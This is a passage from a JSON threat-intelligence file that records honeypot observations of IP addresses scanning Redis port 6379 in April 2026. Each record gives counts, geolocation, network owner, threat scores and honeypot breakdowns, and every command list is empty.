        "Suricata": 12
      }
    },
    "106.13.124.241": {
      "attack_count": 61,
      "first_seen": "2026-04-07T00:19:11.000Z",
      "last_seen": "2026-04-29T11:16:10.977Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T00:20:15.734000+00:00",
        "last_seen_30d": "2026-04-29T11:16:10.977000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12
      }
    },
    "165.154.182.207": {
      "attack_count": 56,
      "first_seen": "2026-04-24T19:57:19.000Z",
      "last_seen": "2026-04-24T20:24:40.903Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 85.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 242,
        "days_active_30d": 29,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:46:15.630000+00:00",
        "last_seen_30d": "2026-04-29T20:42:32.956000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 91,
        "Redishoneypot": 14,
        "Mailoney": 3
      }
    },
    "103.221.220.169": {
      "attack_count": 54,
      "first_seen": "2026-04-02T17:23:45.000Z",
      "last_seen": "2026-04-26T16:58:31.475Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 63760,
      "as_org": "AZDIGI Corporation",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:23:45+00:00",
        "last_seen_30d": "2026-04-26T16:58:31.475000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 6
      }
    },
    "81.29.142.6": {
      "attack_count": 48,
      "first_seen": "2026-04-04T04:27:13.000Z",
      "last_seen": "2026-04-27T13:13:33.061Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3422,
        "days_active_30d": 27,
        "ports_targeted_30d": 70,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-04-03T02:33:28+00:00",
        "last_seen_30d": "2026-04-29T12:08:55.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2206,
        "Honeytrap": 1032,
        "Miniprint": 40,
        "Dionaea": 27,
        "Cowrie": 19,
        "Tanner": 19,
        "ElasticPot": 18,
        "Ipphoney": 15,
        "Mailoney": 14,
        "Redishoneypot": 14,
        "H0neytr4p": 9,
        "Ciscoasa": 7,
        "ConPot": 2
      }
    },
    "20.175.205.56": {
      "attack_count": 47,
      "first_seen": "2026-04-04T13:55:09.000Z",
      "last_seen": "2026-04-21T01:39:35.210Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T13:55:09+00:00",
        "last_seen_30d": "2026-04-21T01:39:35.210000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 15,
        "Suricata": 5
      }
    },
    "61.153.23.162": {
      "attack_count": 41,
      "first_seen": "2026-04-01T19:25:33.000Z",
      "last_seen": "2026-04-18T21:54:49.887Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T19:26:38.477000+00:00",
        "last_seen_30d": "2026-04-18T21:54:49.887000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8
      }
    },
    "182.92.181.218": {
      "attack_count": 39,
      "first_seen": "2026-04-03T18:16:09.000Z",
      "last_seen": "2026-04-29T05:18:30.840Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T18:17:16.167000+00:00",
        "last_seen_30d": "2026-04-29T05:18:30.840000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Redishoneypot": 3
      }
    },
    "180.232.31.146": {
      "attack_count": 38,
      "first_seen": "2026-04-07T07:09:44.000Z",
      "last_seen": "2026-04-27T03:08:54.310Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Paranaque City",
      "asn": 9658,
      "as_org": "Eastern Telecoms Phils., Inc.",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 17.5,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 21,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T07:09:44+00:00",
        "last_seen_30d": "2026-04-27T03:08:54.310000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 6
      }
    },
    "20.116.232.29": {
      "attack_count": 37,
      "first_seen": "2026-04-01T08:42:15.000Z",
      "last_seen": "2026-04-19T20:46:52.627Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T08:42:15+00:00",
        "last_seen_30d": "2026-04-19T20:46:52.627000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 4
      }
    },
    "162.240.163.65": {
      "attack_count": 34,
      "first_seen": "2026-04-14T08:47:03.000Z",
      "last_seen": "2026-04-14T08:49:04.854Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T08:47:03+00:00",
        "last_seen_30d": "2026-04-14T08:49:04.854000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "165.154.235.116": {
      "attack_count": 34,
      "first_seen": "2026-04-04T05:35:56.000Z",
      "last_seen": "2026-04-04T05:38:07.716Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T05:35:56+00:00",
        "last_seen_30d": "2026-04-04T05:38:07.716000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 28,
        "Suricata": 1
      }
    },
    "64.62.156.94": {
      "attack_count": 32,
      "first_seen": "2026-04-05T12:31:24.000Z",
      "last_seen": "2026-04-05T12:34:25.281Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T07:32:30+00:00",
        "last_seen_30d": "2026-04-30T15:14:24.934000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 176,
        "Honeytrap": 88,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Mailoney": 6,
        "ConPot": 4,
        "Dionaea": 1,
        "Miniprint": 1
      }
    },
    "81.29.142.50": {
      "attack_count": 32,
      "first_seen": "2026-04-04T04:04:02.000Z",
      "last_seen": "2026-04-30T19:42:01.004Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 616,
        "days_active_30d": 29,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T18:26:31.122000+00:00",
        "last_seen_30d": "2026-04-30T23:25:31.429000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 616
      }
    },
    "122.8.135.47": {
      "attack_count": 31,
      "first_seen": "2026-04-01T20:49:29.000Z",
      "last_seen": "2026-04-09T06:37:48.946Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 136907,
      "as_org": "HUAWEI CLOUDS",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T20:50:31.107000+00:00",
        "last_seen_30d": "2026-04-09T06:37:48.946000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "221.236.21.55": {
      "attack_count": 31,
      "first_seen": "2026-04-03T14:33:55.000Z",
      "last_seen": "2026-04-29T04:49:27.964Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T14:35:32.960000+00:00",
        "last_seen_30d": "2026-04-29T04:49:27.964000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "34.76.82.19": {
      "attack_count": 31,
      "first_seen": "2026-04-29T14:38:41.000Z",
      "last_seen": "2026-04-29T14:40:12.012Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:38:42+00:00",
        "last_seen_30d": "2026-04-29T14:40:12.012000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 12,
        "Suricata": 3
      }
    },
    "36.111.32.16": {
      "attack_count": 31,
      "first_seen": "2026-04-06T02:47:14.000Z",
      "last_seen": "2026-04-27T05:35:43.930Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 29.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-06T02:48:19.061000+00:00",
        "last_seen_30d": "2026-04-27T05:35:43.930000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "115.190.97.5": {
      "attack_count": 30,
      "first_seen": "2026-04-04T23:02:54.000Z",
      "last_seen": "2026-04-26T03:43:11.638Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-04T23:03:59.308000+00:00",
        "last_seen_30d": "2026-04-26T03:43:11.638000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6
      }
    },
    "20.175.198.186": {
      "attack_count": 29,
      "first_seen": "2026-04-16T09:43:38.000Z",
      "last_seen": "2026-04-26T01:57:27.419Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T09:43:38+00:00",
        "last_seen_30d": "2026-04-26T01:57:27.419000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "20.81.50.12": {
      "attack_count": 29,
      "first_seen": "2026-04-12T05:05:36.000Z",
      "last_seen": "2026-04-15T01:20:19.927Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T05:05:36+00:00",
        "last_seen_30d": "2026-04-15T01:20:19.927000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "125.88.205.65": {
      "attack_count": 27,
      "first_seen": "2026-04-08T23:00:55.000Z",
      "last_seen": "2026-04-26T22:17:13.318Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T23:00:55+00:00",
        "last_seen_30d": "2026-04-26T22:17:13.318000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 9,
        "Suricata": 3
      }
    },
    "14.103.220.97": {
      "attack_count": 27,
      "first_seen": "2026-04-07T23:45:57.000Z",
      "last_seen": "2026-04-27T20:46:18.917Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-07T23:47:02.007000+00:00",
        "last_seen_30d": "2026-04-27T20:46:18.917000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5
      }
    },
    "64.62.156.192": {
      "attack_count": 26,
      "first_seen": "2026-04-20T12:45:49.000Z",
      "last_seen": "2026-04-20T12:47:50.640Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 30,
        "ports_targeted_30d": 87,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T01:16:27+00:00",
        "last_seen_30d": "2026-04-30T06:42:19.397000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 213,
        "Honeytrap": 105,
        "Miniprint": 16,
        "Redishoneypot": 11,
        "Cowrie": 9,
        "Mailoney": 6,
        "Dionaea": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "64.62.197.227": {
      "attack_count": 26,
      "first_seen": "2026-04-04T12:38:28.000Z",
      "last_seen": "2026-04-04T12:40:14.924Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 30,
        "ports_targeted_30d": 72,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-01T03:58:09.332000+00:00",
        "last_seen_30d": "2026-04-30T13:28:32.493000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 175,
        "Honeytrap": 66,
        "Ciscoasa": 13,
        "Redishoneypot": 11,
        "Mailoney": 6,
        "Cowrie": 3,
        "Dionaea": 3,
        "Tanner": 2,
        "Miniprint": 1
      }
    },
    "65.49.1.182": {
      "attack_count": 26,
      "first_seen": "2026-04-07T05:08:30.000Z",
      "last_seen": "2026-04-07T05:10:22.744Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-04-01T07:07:46+00:00",
        "last_seen_30d": "2026-04-30T05:50:26.863000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 163,
        "Honeytrap": 90,
        "Redishoneypot": 11,
        "Adbhoney": 2,
        "ConPot": 2,
        "Dionaea": 2,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "66.240.223.208": {
      "attack_count": 23,
      "first_seen": "2026-04-22T02:08:57.000Z",
      "last_seen": "2026-04-25T15:04:41.284Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 9.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 11,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-20T01:56:35.480000+00:00",
        "last_seen_30d": "2026-04-30T22:34:36.628000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Cowrie": 8,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Honeytrap": 2,
        "H0neytr4p": 1
      }
    },
    "192.241.130.89": {
      "attack_count": 22,
      "first_seen": "2026-04-06T23:33:23.000Z",
      "last_seen": "2026-04-06T23:34:34.693Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T23:33:24+00:00",
        "last_seen_30d": "2026-04-06T23:34:34.693000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 8,
        "Suricata": 2
      }
    },
    "14.103.198.15": {
      "attack_count": 21,
      "first_seen": "2026-04-12T14:30:57.000Z",
      "last_seen": "2026-04-23T15:47:34.665Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T14:32:20.755000+00:00",
        "last_seen_30d": "2026-04-23T15:47:34.665000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4
      }
    },
    "220.181.1.163": {
      "attack_count": 21,
      "first_seen": "2026-04-07T17:38:52.000Z",
      "last_seen": "2026-04-30T01:41:49.544Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 23724,
      "as_org": "IDC, China Telecommunications Corporation",
      "threat_score": 50.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 20.0,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 24,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T17:40:01.213000+00:00",
        "last_seen_30d": "2026-04-30T01:41:49.544000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 5
      }
    },
    "159.223.109.128": {
      "attack_count": 20,
      "first_seen": "2026-04-25T05:36:13.000Z",
      "last_seen": "2026-04-25T05:37:25.504Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 64.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.4,
        "persistence": 2.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 440,
        "days_active_30d": 3,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-24T03:51:22+00:00",
        "last_seen_30d": "2026-04-26T00:05:27.787000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 290,
        "Honeytrap": 137,
        "Redishoneypot": 8,
        "Dionaea": 4,
        "ElasticPot": 1
      }
    },
    "64.23.153.205": {
      "attack_count": 20,
